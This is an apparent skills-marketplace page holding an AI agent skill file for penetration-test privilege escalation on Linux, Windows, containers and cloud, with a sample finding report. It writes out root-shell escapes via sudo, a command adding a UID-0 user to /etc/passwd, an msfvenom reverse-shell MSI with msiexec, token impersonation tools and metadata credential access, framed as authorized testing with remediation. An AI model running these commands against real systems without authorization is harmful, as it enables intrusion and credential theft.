[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71EPNP6QKQVGM6D79A2DBTY":3,"skill-same:01M71EPNP6QKQVGM6D79A2DBTY":110},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":83,"commitSha":84,"skillDirectory":85,"forksCount":14,"repositoryHtmlUrl":86,"repositoryHomepageUrl":6,"ownerHtmlUrl":87,"ownerBlogUrl":6,"ownerDescription":88,"updatedAt":89,"install":90,"resources":103},"01M71EPNP6QKQVGM6D79A2DBTY","identity-privesc-assess-audit",null,"Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Flinux\u002Fidentity\u002Fprivesc\u002Fassess\u002Faudit\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"audit","identity","assess","identity privesc assess audit","security","os","paths","read","privilege escalation","de","suid","Bash","security assessment","access","cybersecurity","impact","assessment","local","testing","authentication","2026-11-10 10:12:30",false,"---\nname: identity-privesc-assess-audit\ndescription: Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- privilege-escalation\n- post-exploitation\n- Linux-privesc\n- Windows-privesc\n- local-exploitation\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Restore Access\n- Password Authentication\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1059\n- T1068\ncwe:\n- CWE-269\ncve:\n- CVE-2022-0847\n- CVE-2016-5195\n- CVE-2021-4034\ncapec: []\n---\n\n# Performing Privilege Escalation Assessment\n\n## When to Use\n\n- After gaining initial low-privilege access during a penetration test to demonstrate full system compromise\n- Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks\n- Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques\n- Testing the effectiveness of least-privilege policies and application whitelisting on endpoints\n- Validating that container breakout and VM escape controls are properly configured\n\n**Do not use** without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.\n\n## Prerequisites\n\n- Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means\n- Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)\n- Compiled kernel exploits for common CVEs or access to compilation tools on the target\n- GTFOBins reference for Linux SUID\u002Fsudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries\n- Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target\n\n## Workflow\n\n### Step 1: System Enumeration\n\nGather comprehensive information about the target system:\n\n**Linux Enumeration:**\n- `id && whoami` - Current user and group memberships\n- `uname -a` - Kernel version for kernel exploit identification\n- `cat \u002Fetc\u002Fos-release` - Distribution and version\n- `sudo -l` - Commands the current user can run as root via sudo\n- `find \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull` - SUID binaries\n- `find \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull` - SGID binaries\n- `crontab -l && ls -la \u002Fetc\u002Fcron*` - Scheduled tasks running as root\n- `ps aux | grep root` - Processes running as root\n- `cat \u002Fetc\u002Fpasswd` - User accounts (look for additional users with UID 0)\n- `find \u002F -writable -type d 2>\u002Fdev\u002Fnull` - World-writable directories\n- Run `linpeas.sh` for automated comprehensive enumeration\n\n**Windows Enumeration:**\n- `whoami \u002Fpriv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)\n- `systeminfo` - OS version, hotfix level, architecture\n- `wmic service get name,pathname,startmode` - Unquoted service paths\n- `icacls \"C:\\Program Files\" \u002FT` - Writable directories in Program Files\n- `reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated` - AlwaysInstallElevated check\n- `cmdkey \u002Flist` - Stored Windows credentials\n- `schtasks \u002Fquery \u002Ffo LIST \u002Fv` - Scheduled tasks with their run-as accounts\n- Run `winPEAS.exe` for automated comprehensive enumeration\n\n### Step 2: Linux Privilege Escalation Vectors\n\nTest identified escalation vectors systematically:\n\n- **Sudo misconfigurations**: If `sudo -l` shows entries like `(ALL) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim`, use GTFOBins to escalate:\n  - `sudo vim -c ':!\u002Fbin\u002Fbash'` to spawn a root shell\n  - Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env\n- **SUID binary abuse**: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:\n  - Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)\n  - Known SUID: Check GTFOBins for exploitation of standard SUID binaries\n- **Cron job exploitation**: If a cron job runs a script writable by the current user, or runs a script from a writable directory:\n  - Modify the script to add a reverse shell or SUID copy of bash\n  - PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable\n- **Kernel exploits**: Match the kernel version to known exploits:\n  - DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11\n  - DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3\n  - PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions\n- **Capabilities abuse**: `getcap -r \u002F 2>\u002Fdev\u002Fnull` to find binaries with elevated capabilities (cap_setuid, cap_dac_override)\n- **Writable \u002Fetc\u002Fpasswd**: If \u002Fetc\u002Fpasswd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::\u002Froot:\u002Fbin\u002Fbash' >> \u002Fetc\u002Fpasswd`\n\n### Step 3: Windows Privilege Escalation Vectors\n\nTest Windows-specific escalation paths:\n\n- **Token impersonation**: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS):\n  - Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM\n  - `PrintSpoofer.exe -i -c \"cmd \u002Fc whoami\"` -> `NT AUTHORITY\\SYSTEM`\n- **Unquoted service paths**: If a service has an unquoted path with spaces (e.g., `C:\\Program Files\\My App\\service.exe`) and you can write to an intermediate directory:\n  - Place a malicious executable at `C:\\Program Files\\My.exe` which will execute when the service restarts\n- **Writable service binaries**: If you can modify the executable of a service running as SYSTEM:\n  - Replace the binary with a reverse shell and restart the service\n- **AlwaysInstallElevated**: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:\n  - Generate a malicious MSI: `msfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=\u003Cip> LPORT=\u003Cport> -f msi -o shell.msi`\n  - Install with elevated privileges: `msiexec \u002Fquiet \u002Fqn \u002Fi shell.msi`\n- **Stored credentials**: Check for credentials in `cmdkey \u002Flist`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history\n- **DLL hijacking**: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.\n- **Scheduled tasks**: Find tasks running as SYSTEM with writable scripts or binaries\n\n### Step 4: Container and Cloud Escalation\n\nTest for escalation paths in containerized and cloud environments:\n\n- **Docker breakout**: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`\u002Fvar\u002Frun\u002Fdocker.sock`), or has `SYS_ADMIN` capability\n- **Kubernetes pod escalation**: Check for service account tokens with cluster-admin rights, hostPID\u002FhostNetwork namespaces, or hostPath volume mounts\n- **Cloud metadata**: Access cloud instance metadata from compromised hosts (`http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`) to discover IAM roles, credentials, and instance information\n- **IAM role abuse**: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation\n\n### Step 5: Documentation and Impact Assessment\n\nDocument the complete escalation path and business impact:\n\n- Record every command executed during escalation with timestamps\n- Capture proof of elevated access (whoami showing root\u002FSYSTEM, accessing restricted files)\n- Document what data or systems become accessible at the elevated privilege level\n- Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)\n- Provide specific remediation for each identified escalation vector\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SUID Binary** | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |\n| **SeImpersonatePrivilege** | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |\n| **Kernel Exploit** | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root\u002FSYSTEM-level access |\n| **GTFOBins** | A curated list of Unix binaries that can be exploited for privilege escalation, file read\u002Fwrite, or shell escape when misconfigured |\n| **LOLBAS** | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |\n| **DLL Hijacking** | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |\n| **Token Impersonation** | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |\n\n## Tools & Systems\n\n- **linPEAS \u002F winPEAS**: Automated privilege escalation enumeration scripts that check hundreds of potential escalation vectors on Linux and Windows\n- **GTFOBins \u002F LOLBAS**: Reference databases of Unix binaries and Windows binaries that can be exploited for privilege escalation when misconfigured\n- **PrintSpoofer \u002F GodPotato**: Windows privilege escalation tools that exploit `SeImpersonatePrivilege` to achieve SYSTEM-level access from service accounts\n- **Linux Exploit Suggester**: Script that compares the target kernel version against a database of known kernel exploits to identify applicable exploits\n\n## Common Scenarios\n\n### Scenario: Privilege Escalation on a Linux Web Server\n\n**Context**: During a penetration test, the tester gained a low-privilege shell as `www-data` on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.\n\n**Approach**:\n1. Run `linpeas.sh` which identifies that `www-data` can run `\u002Fusr\u002Fbin\u002Ffind` as root via sudo without a password\n2. Verify with `sudo -l`: `(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind`\n3. Consult GTFOBins for the `find` sudo entry: `sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit`\n4. Execute the command and obtain a root shell\n5. As root, access `\u002Fetc\u002Fshadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII\n6. Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible\n\n**Pitfalls**:\n- Running kernel exploits without testing on a similar system first, risking a kernel panic and system crash\n- Not checking for container environments where apparent root access may be limited to the container namespace\n- Ignoring cloud metadata endpoints accessible from the compromised host that may yield IAM credentials\n- Failing to enumerate capabilities and SUID binaries after checking sudo, missing alternative escalation paths\n\n## Output Format\n\n```\n## Finding: Sudo Misconfiguration Allowing Root Escalation via find\n\n**ID**: PRIV-001\n**Severity**: Critical (CVSS 8.8)\n**Affected Host**: web-prod-01 (10.10.5.15)\n**OS**: Ubuntu 22.04 LTS\n**Initial Access**: www-data (via PHP file upload - WEB-004)\n**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching\n\n**Description**:\nThe www-data user is configured in \u002Fetc\u002Fsudoers to execute \u002Fusr\u002Fbin\u002Ffind as root\nwithout a password. The find command supports the -exec flag which can spawn a\nroot shell, effectively granting www-data unrestricted root access.\n\n**Proof of Concept**:\nwww-data@web-prod-01:~$ sudo -l\n(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\nwww-data@web-prod-01:~$ sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit\nroot@web-prod-01:~# id\nuid=0(root) gid=0(root) groups=0(root)\n\n**Impact**:\nFull root access on the production web server. From root, the tester accessed\ndatabase credentials in \u002Fvar\u002Fwww\u002Fapp\u002F.env, connected to MySQL, and confirmed\nread access to 75,000 customer records including names, emails, and addresses.\n\n**Remediation**:\n1. Remove the \u002Fusr\u002Fbin\u002Ffind sudo entry for www-data\n2. If find access is required, restrict it to specific directories with --no-exec\n3. Audit all sudo entries for binaries listed in GTFOBins\n4. Implement sudo logging with auditd for all privileged command execution\n```\n","# Performing Privilege Escalation Assessment\n\n## When to Use\n\n- After gaining initial low-privilege access during a penetration test to demonstrate full system compromise\n- Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks\n- Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques\n- Testing the effectiveness of least-privilege policies and application whitelisting on endpoints\n- Validating that container breakout and VM escape controls are properly configured\n\n**Do not use** without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.\n\n## Prerequisites\n\n- Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means\n- Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)\n- Compiled kernel exploits for common CVEs or access to compilation tools on the target\n- GTFOBins reference for Linux SUID\u002Fsudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries\n- Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target\n\n## Workflow\n\n### Step 1: System Enumeration\n\nGather comprehensive information about the target system:\n\n**Linux Enumeration:**\n- `id && whoami` - Current user and group memberships\n- `uname -a` - Kernel version for kernel exploit identification\n- `cat \u002Fetc\u002Fos-release` - Distribution and version\n- `sudo -l` - Commands the current user can run as root via sudo\n- `find \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull` - SUID binaries\n- `find \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull` - SGID binaries\n- `crontab -l && ls -la \u002Fetc\u002Fcron*` - Scheduled tasks running as root\n- `ps aux | grep root` - Processes running as root\n- `cat \u002Fetc\u002Fpasswd` - User accounts (look for additional users with UID 0)\n- `find \u002F -writable -type d 2>\u002Fdev\u002Fnull` - World-writable directories\n- Run `linpeas.sh` for automated comprehensive enumeration\n\n**Windows Enumeration:**\n- `whoami \u002Fpriv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)\n- `systeminfo` - OS version, hotfix level, architecture\n- `wmic service get name,pathname,startmode` - Unquoted service paths\n- `icacls \"C:\\Program Files\" \u002FT` - Writable directories in Program Files\n- `reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated` - AlwaysInstallElevated check\n- `cmdkey \u002Flist` - Stored Windows credentials\n- `schtasks \u002Fquery \u002Ffo LIST \u002Fv` - Scheduled tasks with their run-as accounts\n- Run `winPEAS.exe` for automated comprehensive enumeration\n\n### Step 2: Linux Privilege Escalation Vectors\n\nTest identified escalation vectors systematically:\n\n- **Sudo misconfigurations**: If `sudo -l` shows entries like `(ALL) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim`, use GTFOBins to escalate:\n  - `sudo vim -c ':!\u002Fbin\u002Fbash'` to spawn a root shell\n  - Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env\n- **SUID binary abuse**: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:\n  - Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)\n  - Known SUID: Check GTFOBins for exploitation of standard SUID binaries\n- **Cron job exploitation**: If a cron job runs a script writable by the current user, or runs a script from a writable directory:\n  - Modify the script to add a reverse shell or SUID copy of bash\n  - PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable\n- **Kernel exploits**: Match the kernel version to known exploits:\n  - DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11\n  - DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3\n  - PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions\n- **Capabilities abuse**: `getcap -r \u002F 2>\u002Fdev\u002Fnull` to find binaries with elevated capabilities (cap_setuid, cap_dac_override)\n- **Writable \u002Fetc\u002Fpasswd**: If \u002Fetc\u002Fpasswd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::\u002Froot:\u002Fbin\u002Fbash' >> \u002Fetc\u002Fpasswd`\n\n### Step 3: Windows Privilege Escalation Vectors\n\nTest Windows-specific escalation paths:\n\n- **Token impersonation**: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS):\n  - Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM\n  - `PrintSpoofer.exe -i -c \"cmd \u002Fc whoami\"` -> `NT AUTHORITY\\SYSTEM`\n- **Unquoted service paths**: If a service has an unquoted path with spaces (e.g., `C:\\Program Files\\My App\\service.exe`) and you can write to an intermediate directory:\n  - Place a malicious executable at `C:\\Program Files\\My.exe` which will execute when the service restarts\n- **Writable service binaries**: If you can modify the executable of a service running as SYSTEM:\n  - Replace the binary with a reverse shell and restart the service\n- **AlwaysInstallElevated**: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:\n  - Generate a malicious MSI: `msfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=\u003Cip> LPORT=\u003Cport> -f msi -o shell.msi`\n  - Install with elevated privileges: `msiexec \u002Fquiet \u002Fqn \u002Fi shell.msi`\n- **Stored credentials**: Check for credentials in `cmdkey \u002Flist`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history\n- **DLL hijacking**: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.\n- **Scheduled tasks**: Find tasks running as SYSTEM with writable scripts or binaries\n\n### Step 4: Container and Cloud Escalation\n\nTest for escalation paths in containerized and cloud environments:\n\n- **Docker breakout**: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`\u002Fvar\u002Frun\u002Fdocker.sock`), or has `SYS_ADMIN` capability\n- **Kubernetes pod escalation**: Check for service account tokens with cluster-admin rights, hostPID\u002FhostNetwork namespaces, or hostPath volume mounts\n- **Cloud metadata**: Access cloud instance metadata from compromised hosts (`http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`) to discover IAM roles, credentials, and instance information\n- **IAM role abuse**: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation\n\n### Step 5: Documentation and Impact Assessment\n\nDocument the complete escalation path and business impact:\n\n- Record every command executed during escalation with timestamps\n- Capture proof of elevated access (whoami showing root\u002FSYSTEM, accessing restricted files)\n- Document what data or systems become accessible at the elevated privilege level\n- Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)\n- Provide specific remediation for each identified escalation vector\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SUID Binary** | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |\n| **SeImpersonatePrivilege** | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |\n| **Kernel Exploit** | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root\u002FSYSTEM-level access |\n| **GTFOBins** | A curated list of Unix binaries that can be exploited for privilege escalation, file read\u002Fwrite, or shell escape when misconfigured |\n| **LOLBAS** | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |\n| **DLL Hijacking** | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |\n| **Token Impersonation** | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |\n\n## Tools & Systems\n\n- **linPEAS \u002F winPEAS**: Automated privilege escalation enumeration scripts that check hundreds of potential escalation vectors on Linux and Windows\n- **GTFOBins \u002F LOLBAS**: Reference databases of Unix binaries and Windows binaries that can be exploited for privilege escalation when misconfigured\n- **PrintSpoofer \u002F GodPotato**: Windows privilege escalation tools that exploit `SeImpersonatePrivilege` to achieve SYSTEM-level access from service accounts\n- **Linux Exploit Suggester**: Script that compares the target kernel version against a database of known kernel exploits to identify applicable exploits\n\n## Common Scenarios\n\n### Scenario: Privilege Escalation on a Linux Web Server\n\n**Context**: During a penetration test, the tester gained a low-privilege shell as `www-data` on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.\n\n**Approach**:\n1. Run `linpeas.sh` which identifies that `www-data` can run `\u002Fusr\u002Fbin\u002Ffind` as root via sudo without a password\n2. Verify with `sudo -l`: `(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind`\n3. Consult GTFOBins for the `find` sudo entry: `sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit`\n4. Execute the command and obtain a root shell\n5. As root, access `\u002Fetc\u002Fshadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII\n6. Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible\n\n**Pitfalls**:\n- Running kernel exploits without testing on a similar system first, risking a kernel panic and system crash\n- Not checking for container environments where apparent root access may be limited to the container namespace\n- Ignoring cloud metadata endpoints accessible from the compromised host that may yield IAM credentials\n- Failing to enumerate capabilities and SUID binaries after checking sudo, missing alternative escalation paths\n\n## Output Format\n\n```\n## Finding: Sudo Misconfiguration Allowing Root Escalation via find\n\n**ID**: PRIV-001\n**Severity**: Critical (CVSS 8.8)\n**Affected Host**: web-prod-01 (10.10.5.15)\n**OS**: Ubuntu 22.04 LTS\n**Initial Access**: www-data (via PHP file upload - WEB-004)\n**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching\n\n**Description**:\nThe www-data user is configured in \u002Fetc\u002Fsudoers to execute \u002Fusr\u002Fbin\u002Ffind as root\nwithout a password. The find command supports the -exec flag which can spawn a\nroot shell, effectively granting www-data unrestricted root access.\n\n**Proof of Concept**:\nwww-data@web-prod-01:~$ sudo -l\n(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\nwww-data@web-prod-01:~$ sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit\nroot@web-prod-01:~# id\nuid=0(root) gid=0(root) groups=0(root)\n\n**Impact**:\nFull root access on the production web server. From root, the tester accessed\ndatabase credentials in \u002Fvar\u002Fwww\u002Fapp\u002F.env, connected to MySQL, and confirmed\nread access to 75,000 customer records including names, emails, and addresses.\n\n**Remediation**:\n1. Remove the \u002Fusr\u002Fbin\u002Ffind sudo entry for www-data\n2. If find access is required, restrict it to specific directories with --no-exec\n3. Audit all sudo entries for binaries listed in GTFOBins\n4. Implement sudo logging with auditd for all privileged command execution\n```\n",{"cve":49,"cwe":53,"name":5,"tags":55,"capec":61,"model":62,"tools":63,"domain":38,"maxTurns":67,"nist_csf":68,"subdomain":73,"description":7,"mitre_attack":74,"d3fend_techniques":77},[50,51,52],"CVE-2022-0847","CVE-2016-5195","CVE-2021-4034",[54],"CWE-269",[56,57,58,59,60],"privilege-escalation","post-exploitation","Linux-privesc","Windows-privesc","local-exploitation",[],"sonnet",[64,35,65,66],"Read","Glob","Grep",20,[69,70,71,72],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing",[75,76],"T1059","T1068",[78,79,80,81,82],"Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Restore Access","Password Authentication","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Flinux\u002Fidentity\u002Fprivesc\u002Fassess\u002Faudit","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":91,"prompt":101,"zipAvailable":102},[92,95,98],{"tool":93,"command":94},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill identity-privesc-assess-audit",{"tool":96,"command":97},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill identity-privesc-assess-audit",{"tool":99,"command":100},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill identity-privesc-assess-audit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Flinux\u002Fidentity\u002Fprivesc\u002Fassess\u002Faudit\u002FSKILL.md",true,[104],{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"index.json","REFERENCE","参考文档",698,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Flinux\u002Fidentity\u002Fprivesc\u002Fassess\u002Faudit\u002Findex.json",[111,135,156,177,198,214],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":44},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[118,119,120,121,122,33,123,124,125,126,127,128,129,130,131,132,133,38,134],"services","detect","services wmi persistence detect","wmi","persistence","cm","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":136,"name":137,"nameZh":6,"description":138,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":139,"categories":140,"keywords":141,"publishedAt":44},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[142,118,143,121,144,145,146,38,35,147,148,149,150,151,33,152,153,31,154,155],"exploit","services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":162,"publishedAt":44},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[163,164,165,166,167,168,38,35,169,147,170,171,33,31,172,173,174,175,176,62],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":178,"name":179,"nameZh":6,"description":180,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":181,"categories":182,"keywords":183,"publishedAt":44},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[119,184,185,186,187,188,189,123,190,38,134,56,191,192,193,194,195,196,197,33],"processes token impersonate 